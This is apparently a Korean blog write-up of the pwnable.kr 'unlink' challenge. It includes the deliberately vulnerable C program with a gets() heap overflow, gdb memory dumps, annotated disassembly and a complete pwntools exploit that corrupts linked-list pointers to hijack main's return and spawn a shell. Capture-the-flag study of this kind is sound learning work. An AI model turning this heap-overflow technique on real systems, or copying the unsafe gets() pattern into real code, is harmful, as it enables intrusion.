unlink corruption을 exploit 하라고 되어있습니다!
unlink@prowl:~$ ls -l
total 20
-r--r----- 1 root unlink_pwn 49 Nov 23 2016 flag
-rw-r----- 1 root unlink_pwn 543 Nov 28 2016 intended_solution.txt
-r-xr-sr-x 1 root unlink_pwn 7540 Nov 23 2016 unlink
-rw-r--r-- 1 root root 749 Nov 23 2016 unlink.c
바로 소스코드부터 봐야 알 것 같습니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
실행시켜야할 shell() 함수가 존재하고, A<->B<->C를 linked list로 연결되어있습니다. A의 buf에 입력을 받고 B를 unlink 시킵니다. 주석처리처럼 heap overflow를 발생시켜야 할 것 같습니다.
0x08048553 <+36>: push $0x10
0x08048555 <+38>: call 0x80483a0 <malloc@plt>
0x0804855a <+43>: add $0x10,%esp
0x0804855d <+46>: mov %eax,-0x14(%ebp)
0x08048560 <+49>: sub $0xc,%esp
0x08048563 <+52>: push $0x10
0x08048565 <+54>: call 0x80483a0 <malloc@plt>
0x0804856a <+59>: add $0x10,%esp
0x0804856d <+62>: mov %eax,-0xc(%ebp)
0x08048570 <+65>: sub $0xc,%esp
0x08048573 <+68>: push $0x10
0x08048575 <+70>: call 0x80483a0 <malloc@plt>
0x0804857a <+75>: add $0x10,%esp
0x0804857d <+78>: mov %eax,-0x10(%ebp)
A, B, C의 스택에서의 위치를 파악하면 각각 ebp-20, ebp-12, ebp-16임을 볼 수 있습니다.
B
C
A
순서대로 stack에 쌓여있습니다.
(gdb) r
Starting program: /home/unlink/unlink
here is stack address leak: 0xffeacd84
Breakpoint 1, 0x080485b3 in main ()
(gdb) x/x $ebp-20
0xffeacd84: 0x091ad410
(gdb) c
Continuing.
here is heap address leak: 0x91ad410
Breakpoint 2, 0x080485c7 in main ()
(gdb) x/x 0x091ad410
0x91ad410: 0x091ad428
(gdb) x/x $ebp-16
0xffeacd88: 0x091ad440
(gdb) x/x $ebp-12
0xffeacd8c: 0x091ad428
(gdb) x/12wx 0x091ad410
0x91ad410: 0x091ad428 0x00000000 0x00000000 0x00000000
0x91ad420: 0x00000000 0x00000019 0x091ad440 0x091ad410
0x91ad430: 0x00000000 0x00000000 0x00000000 0x00000019
(gdb)
0x91ad440: 0x00000000 0x091ad428 0x00000000 0x00000000
0x91ad450: 0x00000000 0x00000409 0x65726568 0x20736920
0x91ad460: 0x70616568 0x64646120 0x73736572 0x61656c20
힙에 할당된 것을 보면 A, B, C 순서대로 [구조체 tagOBJ의 크기인 16바이트] + [8바이트 더미]의 크기만큼 나타나고 있습니다.
// 나중에보니 8바이트는 더미가 아니라 다음 구조체의 헤더였습니다. <참조사이트 확인>
(gdb) c
Continuing.
now that you have leaks, get shell!
AAAAAAAA
Breakpoint 3, 0x080485e9 in main ()
(gdb) x/12wx 0x091ad410
0x91ad410: 0x091ad428 0x00000000 0x41414141 0x41414141
0x91ad420: 0x00000000 0x00000019 0x091ad440 0x091ad410
0x91ad430: 0x00000000 0x00000000 0x00000000 0x00000019
(gdb)
0x91ad440: 0x00000000 0x091ad428 0x00000000 0x00000000
0x91ad450: 0x00000000 0x00000409 0x20776f6e 0x74616874
0x91ad460: 0x756f7920 0x76616820 0x656c2065 0x2c736b61
보다시피 'AAAAAAAA'를 A의 buf에 입력해 주었더니 0x091ad410부터 A가 (fd) (bk) (AAAA) (AAAA)로 채워져 있는 것을 확인했습니다.
(gdb) c
Continuing.
Breakpoint 4, 0x080485f7 in main ()
(gdb) x/12wx 0x091ad410
0x91ad410: 0x091ad440 0x00000000 0x41414141 0x41414141
0x91ad420: 0x00000000 0x00000019 0x091ad440 0x091ad410
0x91ad430: 0x00000000 0x00000000 0x00000000 0x00000019
(gdb)
0x91ad440: 0x00000000 0x091ad410 0x00000000 0x00000000
0x91ad450: 0x00000000 0x00000409 0x20776f6e 0x74616874
0x91ad460: 0x756f7920 0x76616820 0x656c2065 0x2c736b61
unlink후의 상황을 보면 B는 free()시키지 않았기 때문에 그대로 남아있으며 A와 C의 fd와 bk값만 바뀌게 되어있는 것을 확인할 수 있었습니다. 그럼 여기서 주어진 8바이트의 배열보다 크게 입력을 넣어보도록 하겠습니다.
(gdb) c
Continuing.
now that you have leaks, get shell!
AAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 3, 0x080485e9 in main ()
(gdb) x/x $ebp-20
0xffbef474: 0x091e9410
(gdb) x/x $ebp-16
0xffbef478: 0x091e9440
(gdb) x/x $ebp-12
0xffbef47c: 0x091e9428
(gdb) x/28wx 0x91e9410
0x91e9410: 0x091e9428 0x00000000 0x41414141 0x41414141
0x91e9420: 0x41414141 0x41414141 0x41414141 0x41414141
0x91e9430: 0x00000000 0x00000000 0x00000000 0x00000019
0x91e9440: 0x00000000 0x091e9428 0x00000000 0x00000000
0x91e9450: 0x00000000 0x00000409 0x20776f6e 0x74616874
0x91e9460: 0x756f7920 0x76616820 0x656c2065 0x2c736b61
0x91e9470: 0x74656720 0x65687320 0x0a216c6c 0x000a340a
(gdb)
A를 24개 넣어주었습니다. A의 buf에 넣어주었는데 B의 fd와 bk까지 덮어쓴 것을 확인할 수 있었고 unlink()를 호출하니 segment fault가 발생했습니다.
원래 unlink(B)를 수행하게 되면 B에서 bk인 A와 fd인 C를 각각 변수 BK, FD에 선언합니다. 그 후 FD의 bk에는 BK, 즉 C의 bk에는 A를 넣고, BK의 fd, 즉 A의 fd에는 C를 넣어줍니다.
그런데 여기서 우리는 덮어썼으므로 덮어쓴 B의 fd가 가리키는 주소의 bk를 덮어쓴 B의 bk로 바꿔주며, 덮어쓴 B의 bk가 가리키는 주소의 fd를 덮어쓴 B의 fd로 바꿔주면 됩니다!
(B->fd)->bk = B->bk
(B->bk)->fd = B->fd
설명이 조금 복잡한 것 같아서 표를 보며 보겠습니다. 덮어쓰지 않고 기본적인 unlink(B)의 동작을 보겠습니다.
A | B | C | |
---|---|---|---|
fd [4] | B | C | |
bk [4] | A | B | |
buf [8] |
unlink(B)를 수행하게 되면 다음과 같아집니다.
A | B | C | |
---|---|---|---|
fd [4] | C | C | |
bk [4] | A | A | |
buf [8] | |||
dummy [8] |
여기서 우리는 A의 주소(EBP-20)와 힙에서의 A의 위치를 얻기 때문에 RET주소도 알 수 있으며 B와 C의 주소도 알 수 있습니다.
그런 상태이기 때문에 RET주소에 shell()의 주소를 넣을 수 있게 된다면 공격은 성공할 것입니다. shell()의 주소를 얻고 RET의 주소를 구해낸다면 heap overflow로 충분히 할 수 있을 것 같습니다.
먼저 shell()의 주소를 얻었습니다.
(gdb) info function
All defined functions:
Non-debugging symbols:
0x08048348 _init
0x08048380 printf@plt
0x08048390 gets@plt
0x080483a0 malloc@plt
0x080483b0 puts@plt
0x080483c0 system@plt
0x080483d0 __libc_start_main@plt
0x080483f0 _start
0x08048420 __x86.get_pc_thunk.bx
0x08048430 deregister_tm_clones
0x08048460 register_tm_clones
0x080484a0 __do_global_dtors_aux
0x080484c0 frame_dummy
0x080484eb shell
0x08048504 unlink
0x0804852f main
여기서부터 급격히 머리가 아팠습니다...
일단 unlink()와 main()의 뒷부분을 보겠습니다.
(gdb) disas unlink
Dump of assembler code for function unlink:
0x08048504 <+0>: push %ebp
0x08048505 <+1>: mov %esp,%ebp
0x08048507 <+3>: sub $0x10,%esp
0x0804850a <+6>: mov 0x8(%ebp),%eax // B
0x0804850d <+9>: mov 0x4(%eax),%eax // B의 bk를 eax에
0x08048510 <+12>: mov %eax,-0x4(%ebp) // B의 bk를 ebp-0x4에
0x08048513 <+15>: mov 0x8(%ebp),%eax // B
0x08048516 <+18>: mov (%eax),%eax // B의 fd를 eax에
0x08048518 <+20>: mov %eax,-0x8(%ebp) // B의 fd를 ebp-0x8에
0x0804851b <+23>: mov -0x8(%ebp),%eax // B의 fd를 eax에
0x0804851e <+26>: mov -0x4(%ebp),%edx // B의 bk를 edx에
0x08048521 <+29>: mov %edx,0x4(%eax) // B의 bk를 eax+0x4(원래 B의 bk자리)인 곳에
0x08048524 <+32>: mov -0x4(%ebp),%eax // B의 bk를 eax에
0x08048527 <+35>: mov -0x8(%ebp),%edx // B의 fd를 edx에
0x0804852a <+38>: mov %edx,(%eax) // B의 fd를 eax(원래 B의 fd자리)인 곳에
0x0804852c <+40>: nop
0x0804852d <+41>: leave
0x0804852e <+42>: ret
End of assembler dump.
먼저 위에서 설명했지만 어셈블리어를 보며 unlink()의 동작 원리를 살펴보았습니다. 각각의 설명은 주석으로 달아놨습니다.
그런데 mian의 뒷부분을 보면 평상시에 보던 것과 조금 형태가 다릅니다.
0x080485f2 <+195>: call 0x8048504 <unlink>
0x080485f7 <+200>: add $0x10,%esp
0x080485fa <+203>: mov $0x0,%eax
0x080485ff <+208>: mov -0x4(%ebp),%ecx
0x08048602 <+211>: leave
0x08048603 <+212>: lea -0x4(%ecx),%esp
0x08048606 <+215>: ret
보면 leave와 ret사이에 ecx-0x4인 값을 esp에 넣는다는 것이 있습니다. 이것으로 인해서 RET에는 ecx-0x4인 값이 들어가게 됩니다. 그 위에를 보니 ecx에는 ebp-0x4값이 들어간다는 것을 확인했습니다.
이 부분 덕분에 우리는 공격을 위해 ebp-0x4에 shell() 주소를 넣으면 공격이 성공할 것입니다.
따라서 buf에 넣을 때 shell()의 주소를 넣고 B의 fd와 bk값을 변경하면 unlink() 시 자동으로 채워질 것입니다.
공격을 하기 위해 payload를 작성하기 전에 그려보면 다음 표와 같이 할 것입니다.
A | B | C | ( Main ) | |
---|---|---|---|---|
fd [4] | B | buf위치 + 0x4 | RET | |
bk [4] | A스택위치 + 0x10 | B | SFP | |
buf [8] | shell()주소 + AAAA | |||
dummy [8] | AAAA + AAAA |
B의 bk에 A스택 위치+0x10을 해주어야 main에서의 ebp-0x4에 B의 fd인 buf위치+0x4를 넣어줄 수 있게 됩니다!
그렇게 main의 ebp-0x4에 들어간 buf위치+0x4는 'mov -0x4(%ebp),%ecx'를 만나서 buf위치+0x4가 ecx에 들어가게 됩니다. 'lea -0x4(%ecx),%esp'때문에 ecx-0x4(buf) 위치에 있는 shell()의 주소가 main의 RET을 덮어쓰게 됩니다.ㅐ
(같은 값끼리 같은 색으로 해봤습니다.. 제가 어려워서..)
작성한 익스플로잇은 다음과 같습니다.
from pwn import *
p = process('/home/unlink/unlink')
p.recvuntil('here is stack address leak: ')
stack_A = int(p.recvuntil('\n'), 16)
p.recvuntil('here is heap address leak: ')
heap_A = int(p.recvuntil('\n'), 16)
payload = p32(0x080484eb)
payload += "A"*12
payload += p32(heap_A + 12)
payload += p32(stack_A + 16)
p.recvuntil('now that you have leaks, get shell!\n')
p.sendline(payload)
p.interactive()
p.close()
unlink@prowl:/tmp/suri_unlink$ python /tmp/suri_unlink/ex.py
[+] Starting local process '/home/unlink/unlink': pid 349106
[*] Switching to interactive mode
$
$ id
uid=1094(unlink) gid=1094(unlink) egid=1095(unlink_pwn) groups=1095(unlink_pwn),1094(unlink)
으으.. 너무 복잡해서 머리 아팠습니다..
<참고>
https://bpsecblog.wordpress.com/2016/08/31/translate_fastbin/
https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/
잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다
'pwnable > pwnable.kr' 카테고리의 다른 글
[pwnable.kr Toddler's Bottle] horcruxes write up (0) | 2019.08.29 |
---|---|
[pwnable.kr Toddler's Bottle] blukat write up (0) | 2019.08.29 |
[pwnable.kr Toddler's Bottle] asm write up (0) | 2019.08.27 |
[pwnable.kr Toddler's Bottle] memcpy write up (0) | 2019.08.25 |
[pwnable.kr Toddler's Bottle] uaf write up (0) | 2019.08.22 |